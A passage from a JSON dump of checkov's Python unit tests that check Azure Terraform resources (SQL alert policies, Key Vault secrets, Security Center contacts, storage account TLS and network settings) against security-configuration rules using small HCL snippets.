    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.SQLServerThreatDetectionTypes import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestSecurityCenterContactPhone(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_mssql_server_security_alert_policy\" \"example\" {\n              resource_group_name        = azurerm_resource_group.example.name\n              server_name                = azurerm_sql_server.example.name\n              state                      = \"Enabled\"\n              storage_endpoint           = azurerm_storage_account.example.primary_blob_endpoint\n              storage_account_access_key = azurerm_storage_account.example.primary_access_key\n              disabled_alerts = [\n                \"Sql_Injection\",\n                \"Data_Exfiltration\"\n              ]\n              retention_days = 20\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mssql_server_security_alert_policy']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_mssql_server_security_alert_policy\" \"example\" {\n              resource_group_name        = azurerm_resource_group.example.name\n              server_name                = azurerm_sql_server.example.name\n              state                      = \"Enabled\"\n              storage_endpoint           = azurerm_storage_account.example.primary_blob_endpoint\n              storage_account_access_key = azurerm_storage_account.example.primary_access_key\n              disabled_alerts = []\n              retention_days = 20\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mssql_server_security_alert_policy']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_SecretContentType.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.SecretContentType import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestSecretContentType(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_key_vault_secret\" \"example\" {\n              name         = \"secret-sauce\"\n              value        = \"szechuan\"\n              key_vault_id = azurerm_key_vault.example.id\n            \n              tags = {\n                environment = \"Production\"\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_key_vault_secret']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_key_vault_secret\" \"example\" {\n              name         = \"secret-sauce\"\n              value        = \"szechuan\"\n              key_vault_id = azurerm_key_vault.example.id\n              content_type = \"text\"\n            \n              tags = {\n                environment = \"Production\"\n              }\n              expiration_date = \"2020-12-30T20:00:00Z\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_key_vault_secret']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_SecretExpirationDate.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.SecretExpirationDate import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestSecretExpirationDate(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_key_vault_secret\" \"example\" {\n              name         = \"secret-sauce\"\n              value        = \"szechuan\"\n              key_vault_id = azurerm_key_vault.example.id\n            \n              tags = {\n                environment = \"Production\"\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_key_vault_secret']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_key_vault_secret\" \"example\" {\n              name         = \"secret-sauce\"\n              value        = \"szechuan\"\n              key_vault_id = azurerm_key_vault.example.id\n            \n              tags = {\n                environment = \"Production\"\n              }\n              expiration_date = \"2020-12-30T20:00:00Z\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_key_vault_secret']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_SecurityCenterContactEmails.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.SecurityCenterContactEmails import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestSecurityCenterContactEmails(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_security_center_contact\" \"example\" {\n              phone = \"+1-555-555-5555\"\n            \n              alert_notifications = true\n              alerts_to_admins    = true\n              }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_security_center_contact']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_security_center_contact\" \"example\" {\n                email = \"contact@example.com\"\n                phone = \"+1-555-555-5555\"\n                \n                alert_notifications = true\n                alerts_to_admins    = true\n              }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_security_center_contact']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_SecurityCenterContactPhone.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.SecurityCenterContactPhone import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestSecurityCenterContactPhone(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_security_center_contact\" \"example\" {\n              email = \"contact@example.com\"\n              }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_security_center_contact']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_security_center_contact\" \"example\" {\n              email = \"contact@example.com\"\n              phone = \"+1-555-555-5555\"\n              }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_security_center_contact']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_SecurityCenterEmailAlert.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.SecurityCenterContactEmailAlert import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestSecurityCenterEmailAlert(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_security_center_contact\" \"example\" {\n              email = \"contact@example.com\"\n              }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_security_center_contact']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_security_center_contact\" \"example\" {\n              email = \"contact@example.com\"\n              phone = \"+1-555-555-5555\"\n              alert_notifications = true\n              alerts_to_admins    = true\n              }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_security_center_contact']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_SecurityCenterEmailAlertAdmins.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.SecurityCenterContactEmailAlertAdmins import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestSecurityCenterEmailAlertAdmins(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_security_center_contact\" \"example\" {\n              email = \"contact@example.com\"\n              alerts_to_admins    = false\n              }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_security_center_contact']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_security_center_contact\" \"example\" {\n              email = \"contact@example.com\"\n              phone = \"+1-555-555-5555\"\n              alert_notifications = true\n              alerts_to_admins    = true\n              }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_security_center_contact']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_SecurityCenterStandardPricing.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.SecurityCenterStandardPricing import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestSecurityCenterStandardPricing(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_security_center_subscription_pricing\" \"example\" {\n                  tier = \"Free\"\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_security_center_subscription_pricing\" \"example\" {\n                  tier = \"Standard\"\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_SignalRSJUSLA.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.SignalRSKUSLA import check\n\n\nclass TestSignalRSKUSLA(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_SignalRSKUSLA\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_signalr_service.pass',\n        }\n        failing_resources = {\n            'azurerm_signalr_service.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_SpringCloudAPIPortalHTTPSOnly.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.SpringCloudAPIPortalHTTPSOnly import check\n\n\nclass TestSpringCloudAPIPortalHTTPSOnly(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_SpringCloudAPIPortalHTTPSOnly\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_spring_cloud_api_portal.pass',\n        }\n        failing_resources = {\n            'azurerm_spring_cloud_api_portal.fail',\n            'azurerm_spring_cloud_api_portal.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_SpringCloudAPIPortalPublicAccessIsDisabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.SpringCloudAPIPortalPublicAccessIsDisabled import check\n\n\nclass TestSpringCloudAPIPortalPublicAccessIsDisabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_SpringCloudAPIPortalPublicAccessIsDisabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_spring_cloud_api_portal.pass',\n            'azurerm_spring_cloud_api_portal.pass2',\n        }\n        failing_resources = {\n            'azurerm_spring_cloud_api_portal.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_StorageAccountAzureServicesAccessEnabled.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.StorageAccountAzureServicesAccessEnabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestStorageAccountAzureServicesAccessEnabled(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_storage_account_network_rules\" \"test\" {\n              resource_group_name  = azurerm_resource_group.test.name\n              storage_account_name = azurerm_storage_account.test.name\n            \n              default_action             = \"Deny\"\n              ip_rules                   = [\"127.0.0.1\"]\n              virtual_network_subnet_ids = [azurerm_subnet.test.id]\n              bypass                     = [\"Metrics\"]\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_storage_account_network_rules']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_storage_account\" \"example\" {\n              name                     = \"example\"\n              resource_group_name      = data.azurerm_resource_group.example.name\n              location                 = data.azurerm_resource_group.example.location\n              account_tier             = \"Standard\"\n              account_replication_type = \"GRS\"\n              network_rules {\n                default_action             = \"Allow\"\n                ip_rules                   = [\"100.0.0.1\"]\n                virtual_network_subnet_ids = [azurerm_subnet.example.id]\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_storage_account\" \"example\" {\n              name                     = \"example\"\n              resource_group_name      = data.azurerm_resource_group.example.name\n              location                 = data.azurerm_resource_group.example.location\n              account_tier             = \"Standard\"\n              account_replication_type = \"GRS\"\n              network_rules {\n                default_action             = \"Deny\"\n                ip_rules                   = [\"100.0.0.1\"]\n                virtual_network_subnet_ids = [azurerm_subnet.example.id]\n                bypass                     = [\"Metrics\", \"AzureServices\"]\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_StorageAccountDefaultNetworkAccessDeny.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.StorageAccountDefaultNetworkAccessDeny import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestStorageAccountDefaultNetworkAccessDeny(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_StorageAccountDefaultNetworkAccessDeny\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_storage_account.pass\",\n            \"azurerm_storage_account_network_rules.pass\"\n\n        }\n        failing_resources = {\n            \"azurerm_storage_account.fail\",\n            \"azurerm_storage_account_network_rules.fail\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_StorageAccountDisablePublicAccess.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.StorageAccountDisablePublicAccess import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestStorageAccountDisablePublicAccess(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_StorageAccountDisablePublicAccess\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_storage_account.pass\",\n\n        }\n        failing_resources = {\n            \"azurerm_storage_account.fail\",\n            \"azurerm_storage_account.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_StorageAccountLoggingQueueServiceEnabled.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.StorageAccountLoggingQueueServiceEnabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestStorageAccountLoggingQueueServiceEnabled(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_storage_account\" \"example\" {\n              name                     = \"example\"\n              resource_group_name      = data.azurerm_resource_group.example.name\n              location                 = data.azurerm_resource_group.example.location\n              account_tier             = \"Standard\"\n              account_replication_type = \"GRS\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_storage_account\" \"example\" {\n              name                     = \"example\"\n              resource_group_name      = data.azurerm_resource_group.example.name\n              location                 = data.azurerm_resource_group.example.location\n              account_tier             = \"Standard\"\n              account_replication_type = \"GRS\"\n              queue_properties  {\n                logging {\n                }\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_storage_account\" \"example\" {\n              name                     = \"example\"\n              resource_group_name      = data.azurerm_resource_group.example.name\n              location                 = data.azurerm_resource_group.example.location\n              account_tier             = \"Standard\"\n              account_replication_type = \"GRS\"\n              queue_properties  {\n                logging {\n                  delete                = true\n                  read                  = true\n                  write                 = true\n                  version               = \"1.0\"\n                  retention_policy_days = 10\n                }\n                hour_metrics {\n                  enabled               = true\n                  include_apis          = true\n                  version               = \"1.0\"\n                  retention_policy_days = 10\n                }\n                minute_metrics {\n                  enabled               = true\n                  include_apis          = true\n                  version               = \"1.0\"\n                  retention_policy_days = 10\n                }\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_blobstorage(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_storage_account\" \"example\" {\n              name                     = \"example\"\n              resource_group_name      = data.azurerm_resource_group.example.name\n              location                 = data.azurerm_resource_group.example.location\n              account_tier             = \"Standard\"\n              account_replication_type = \"LRS\"\n              account_kind             = \"BlobStorage\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_StorageAccountMinimumTlsVersion.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.azure.StorageAccountMinimumTlsVersion import check\n\n\nclass TestAppServiceMinTLSVersion(unittest.TestCase):\n\n    def test_failure_option_not_present(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_storage_account\" \"example\" {\n              name                     = \"example\"\n              resource_group_name      = data.azurerm_resource_group.example.name\n              location                 = data.azurerm_resource_group.example.location\n              account_tier             = \"Standard\"\n              account_replication_type = \"GRS\"\n              network_rules {\n                default_action             = \"Allow\"\n                ip_rules                   = [\"100.0.0.1\"]\n                virtual_network_subnet_ids = [azurerm_subnet.example.id]\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_insecure_option_present_tls10(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_storage_account\" \"example\" {\n              name                     = \"example\"\n              resource_group_name      = data.azurerm_resource_group.example.name\n              location                 = data.azurerm_resource_group.example.location\n              account_tier             = \"Standard\"\n              account_replication_type = \"GRS\"\n              min_tls_version          = \"TLS1_0\"\n              network_rules {\n                default_action             = \"Allow\"\n                ip_rules                   = [\"100.0.0.1\"]\n                virtual_network_subnet_ids = [azurerm_subnet.example.id]\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_insecure_option_present_tls11(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_storage_account\" \"example\" {\n              name                     = \"example\"\n              resource_group_name      = data.azurerm_resource_group.example.name\n              location                 = data.azurerm_resource_group.example.location\n              account_tier             = \"Standard\"\n              account_replication_type = \"GRS\"\n              min_tls_version          = \"TLS1_1\"\n              network_rules {\n                default_action             = \"Allow\"\n                ip_rules                   = [\"100.0.0.1\"]\n                virtual_network_subnet_ids = [azurerm_subnet.example.id]\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_secure_option_present(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_storage_account\" \"example\" {\n              name                     = \"example\"\n              resource_group_name      = data.azurerm_resource_group.example.name\n              location                 = data.azurerm_resource_group.example.location\n              account_tier             = \"Standard\"\n              account_replication_type = \"GRS\"\n              min_tls_version          = \"TLS1_2\"\n              network_rules {\n                default_action             = \"Allow\"\n                ip_rules                   = [\"100.0.0.1\"]\n                virtual_network_subnet_ids = [azurerm_subnet.example.id]\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_future_option_present(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_storage_account\" \"example\" {\n              name                     = \"example\"\n              resource_group_name      = data.azurerm_resource_group.example.name\n              location                 = data.azurerm_resource_group.example.location\n              account_tier             = \"Standard\"\n              account_replication_type = \"GRS\"\n              min_tls_version          = \"TLS1_3\"\n              network_rules {\n                default_action             = \"Allow\"\n                ip_rules                   = [\"100.0.0.1\"]\n                virtual_network_subnet_ids = [azurerm_subnet.example.id]\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_StorageAccountName.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.StorageAccountName import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestStorageAccountName(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_StorageAccountName\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_storage_account.pass\",\n            \"azurerm_storage_account.pass_number\",\n        }\n        failing_resources = {\n            \"azurerm_storage_account.camel_case\",\n            \"azurerm_storage_account.kebab_case\",\n            \"azurerm_storage_account.too_long\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_StorageAccountsTransportEncryption.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.StorageAccountsTransportEncryption import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestStorageAccountsTransportEncryption(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_StorageAccountsTransportEncryption\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_storage_account.default\",\n            \"azurerm_storage_account.enabled\",\n        }\n        failing_resources = {\n            \"azurerm_storage_account.disabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_StorageAccountsUseReplication.py",
